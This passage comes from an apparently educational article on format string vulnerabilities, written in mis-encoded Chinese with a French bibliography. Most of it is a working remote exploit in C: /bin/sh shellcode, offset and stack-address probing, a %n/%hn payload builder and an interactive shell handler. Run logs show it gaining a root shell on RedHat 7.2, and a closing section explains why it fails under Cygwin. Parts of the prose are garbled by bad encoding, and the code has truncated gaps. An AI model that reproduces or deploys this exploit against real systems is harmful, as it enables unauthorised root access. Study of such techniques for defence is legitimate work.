"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int interact(int sock) { fd_set fds; ssize_t ssize; char buffer[1024]; write(sock, BANNER"\n", sizeof(BANNER)); while (1) { FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); FD_SET(sock, &fds); select(sock + 1, &fds, NULL, NULL, NULL); if (FD_ISSET(STDIN_FILENO, &fds)) { ssize = read(STDIN_FILENO, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(sock, buffer, ssize); } if (FD_ISSET(sock, &fds)) { ssize = read(sock, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(STDOUT_FILENO, buffer, ssize); } } return(-1); } u_long resolve(char *host) { struct hostent *he; u_long ret; if(!(he = gethostbyname(host))) { herror("gethostbyname()"); exit(-1); } memcpy(&ret, he->h_addr, sizeof(he->h_addr)); return ret; } int build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged) { unsigned char b0, b1, b2, b3; unsigned int high, low; int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; int sz; int i,j,count=0; buf[0]=0; for (i=0;i : where to overwrite */ OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]"); sz = snprintf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */ "%c%c%c%c" /* + 1 for the ending \0 */ "%c%c%c%c", b3, b2, b1, b0, b3 + 2, b2, b1, b0); /* where is our shellcode ? */ OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]"); high = (retaddr & 0xffff0000) >> 16; low = retaddr & 0x0000ffff; printf("low %d;TWO %d;start %d;base %d;offset %d;high %d\n\n",low,TWO,start,base,offset,high); i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - TWO + start - base, offset, high - low + start, offset + 1); for (j=0;j 4) { printf("too many '%%' in input buffer\nmay be failed\n\n"); } strcat(buf,shellcode); return i; } void get_addr_as_char(u_int addr, char *buf) { *(u_int*)buf = addr; if (!buf[0]) buf[0]++; if (!buf[1]) buf[1]++; if (!buf[2]) buf[2]++; if (!buf[3]) buf[3]++; } int get_offset(int sock,int * alinged) { int i, j,offset = -1, len; char fmt[128], buf[128]; char tmp1[128],tmp2[128]; for (j =0;j<4;j++) { if (j == 0) { strcpy(tmp1,"AAAA%%%d$x"); strcpy(tmp2,"AAAA41414141"); } if (j == 1) { strcpy(tmp1,"AAAAa%%%d$x"); strcpy(tmp2,"AAAAa41414141"); } if (j == 2) { strcpy(tmp1,"AAAAaa%%%d$x"); strcpy(tmp2,"AAAAaa41414141"); } if (j == 3) { strcpy(tmp1,"AAAAaaa%%%d$x"); strcpy(tmp2,"AAAAaaa41414141"); } for (i = 1; i= 0 && (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) { if (len ==0) { printf("remote machine close connection!!\naddr_stack too small,You can use -a addr adjust it\n "); exit(0); } if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len); /***********************************************************************/ //ÒÔϲéÕÒformat stringµØÖ· /* the input buffer */ if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) { formatstring_counts++; addr_buffer = read_at + (ptr-buf) - 4; /*addr_buffer¾ÍÊÇformat stringµÄµØÖ·*/ fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len); fprintf(stderr, "buf = (%d)\n", len); for (i=0; i 0xbfffffe0 ) { formatstring1 = addr_buffer; like_printf = 1; read_at = formatstring1 -4096 ;//Ö»ÕÒµ½Ò»¸öformat string£¬±íʾÀàËÆprintf(buf); } if (formatstring_counts==2) { //ÀàËÆsprintf(buf,buf1); formatstring2 = addr_buffer; read_at = (formatstring1>formatstring2)?(formatstring2 -4096):(formatstring1 -4096); /*Óû´Óread_atµØÖ·²éÕÒsnprintfµÄ»î¶¯¼Ç¼£¬¿ÉÄÜ4096̫СÁË£¬µ«´ó²¿·Ö»¹Êǹ»Á˵Ä*/ } } /***********************************************************************/ /***********************************************************************/ /*²éÕÒsnprintf(tmp, sizeof(tmp)-1, buf)µÄ»î¶¯¼Ç¼ * formatstring1ºÍ2ÊÇtmp,bufµÄµØÖ· * xx xx ff bf xx xx 04 08 formatstring1 xx xx xx xx formatstring2 * »òÕß * xx xx ff bf xx xx 04 08 formatstring2 xx xx xx xx formatstring1 */ if (addr_buffer != -1) { i = 4; while (i> 8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 ) addr_ret = -1; else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len); }//end if i++; }//end if like_printf else { //like printf have only format string if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf && buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08 && ( *(int*) &buf[i+6] ==formatstring1 ) ) { use_format = 1; addr_ret = read_at + i - 2 + 4 - 4; printf("addr_ret %p\n",addr_ret); if ( (addr_ret & 0xff)* ( (addr_ret >> 8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 ) addr_ret = -1; else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len); }//end if i++; }//end else like_printf }//end while }//end if /***********************************************************************/ /***********************************************************************/ if (addr_ret != -1 ) { if (use_format ==1) addr_shellcode = formatstring1+8+aligned+20+8; if (use_format ==2) addr_shellcode = formatstring2+8+aligned+20+8; } /***********************************************************************/ read_at += (len-4+1); if (len == sizeof(buf)) { fprintf(stderr, "Warning: this has not been tested !!!\n"); fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at); read_at-=strlen(shellcode); } get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } //end while fprintf (stderr, "\naddr-ret %p addr_shellcode %p\n",addr_ret,addr_shellcode); /* send the format string */ fprintf (stderr, "\nBuilding format string and send shellcode \nwaiting for get a shell if succeed...\n\n"); memset(buf, 0, sizeof(buf)); build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned); write(sd, buf, strlen(buf)); sleep(1); interact(sd); close(sd); return 0; } ʵÑéÒ»£º ±¾µØredhatµÄ [alert7@redhat72 format]$ gcc -o e e.c [alert7@redhat72 format]$ ./e Using IP 127.0.0.1 Connected to 127.0.0.1 [Found offset = 6 aligned 0 ] [buffer addr is: 0xbffff070 (12) ] buf = (12) 70 f0 ff bf 70 f0 ff bf 25 36 24 73 [buffer addr is: 0xbffff470 (8) ] buf = (8) 70 f4 ff bf 70 f4 ff bf addr_ret 0xbffff04c [ret addr is: 0xbffff04c (34) ] addr-ret 0xbffff04c addr_shellcode 0xbffff094 Building format string and send shellcode waiting for get a shell if succeed... low 61588;TWO 8;start 65536;base 0;offset 6;high 49151 4c f0 ff bf 4e f0 ff bf 25 2e 31 32 37 31 31 36 78 25 36 24 6e 25 2e 35 33 30 39 39 78 25 37 24 68 6e Linux redhat72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown uid=0(root) gid=100(users) ʵÑé¶þ£º Ô¶³ÌcygwinϱàÒëµÄ $ ./e -i 192.168.168.200 Using IP 192.168.168.200 Connected to 192.168.168.200 [Found offset = 6 aligned 0 ] [buffer addr is: 0xbffff070 (12) ] buf = (12) 70 f0 ff bf 70 f0 ff bf 25 36 24 73 [buffer addr is: 0xbffff470 (8) ] buf = (8) 70 f4 ff bf 70 f4 ff bf addr_ret 0xbffff04c [ret addr is: 0xbffff04c (34) ] addr-ret 0xbffff04c addr_shellcode 0xbffff094 Building format string and send shellcode waiting for get a shell if succeed... low 61588;TWO 8;start 65536;base 0;offset 6;high 49151 4c f0 ff bf 4e f0 ff bf 25 2e 2d 33 39 35 36 78 25 36 24 6e 25 2e 2d 31 32 34 33 37 78 25 37 24 68 6e sztcww@SZTCWW1 ~ $ûÓгɹ¦ faint~~£¬ÎªÊ²Ã´ÔÚcygwinϱàÒëµÄ³ÌÐòûÓгɹ¦ÄØ£¿ Õâ¸öÎÊÌâÓÖʹÎÒÓôÃÆÁËÒ»Õ󣬽á¹ûºóÀ´·¢ÏÖËûÃÇΨһ²»Í¬µÄµØ·½¾ÍÊÇ Building format stringµÄʱºò£¬Ò²¾ÍÊÇÔÚº¯Êýbuild_hn()ÖÐ i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - TWO + start - base, offset, high - low + start, offset + 1); snprintf()µÄ¸÷¸ö²ÎÊý¶¼Ò»Ñù ÔÚÒ»°ãµÄlinux redhatÖвúÉúµÄformat stringΪ 25 2e 31 32 37 31 31 36 78 25 36 24 6e 25 2e 35 33 30 39 39 78 25 37 24 68 6e ÔÚcygwinϲúÉúµÄformat stringΪ 25 2e 2d 33 39 35 36 78 25 36 24 6e 25 2e 2d 31 32 34 33 37 78 25 37 24 68 6e ÏÖÔÚΨһµÄ½âÊ;ÍÊÇcygwinÏÂʵÏÖµÄ*printfºÍlinux redhatʵÏֵIJ»Ò»Ñù¡£ ´Ó¶ø²úÉúµÄ½á¹ûÒ²²»Ò»Ñù¡£ ¾ßÌåÔÚcygwinϱàÒëµÄsnprintfΪʲô»áµÃ³öÄÇÑùµÄ½á¹ûÎÒ»¹Ã»ÓÐÕÒ³öÔ­ÒòÀ´¡£ »ØÍ·ÓпÕÂýÂýÕÒ°É¡£ ËùÒÔ½¨ÒéÔÚдformat string exploitµÄʱºò£¬²»ÒªÄÃcygwin×öʵÑé»·¾³£¬ ²»È»µÄ»°Ò²»áÏóÎÒÒ»ÑùÓôÃÆºÃÒ»Õó×Ó¡£ ------------------------------------------------------------------------ --[ Bibliography ]-- 1. More info on format bugs par P. "kalou" Bouchareine (http://www.hert.org/papers/format.html) 2. Format Bugs: What are they, Where did they come from,... How to exploit them par lamagra (lamagra@digibel.org ) 3. Éviter les failles de sécurité dès le développement d'une application - 4 : les chaînes de format par F. Raynal, C. Grenier, C. Blaess (http://minimum.inria.fr/~raynal/index.php3?page=121 ou http://www.linuxfocus.org/Francais/July2001/article191.shtml) 4. Exploiting the format string vulnerabilities par scut (team TESO) (http://www.team-teso.net/articles/formatstring) 5. fmtbuilder-howto par F. Raynal et S. Dralet (http://minimum.inria.fr/~raynal/index.php3?page=501) ------------------------------------------------------------------------ Frédéric Raynal - ---the end---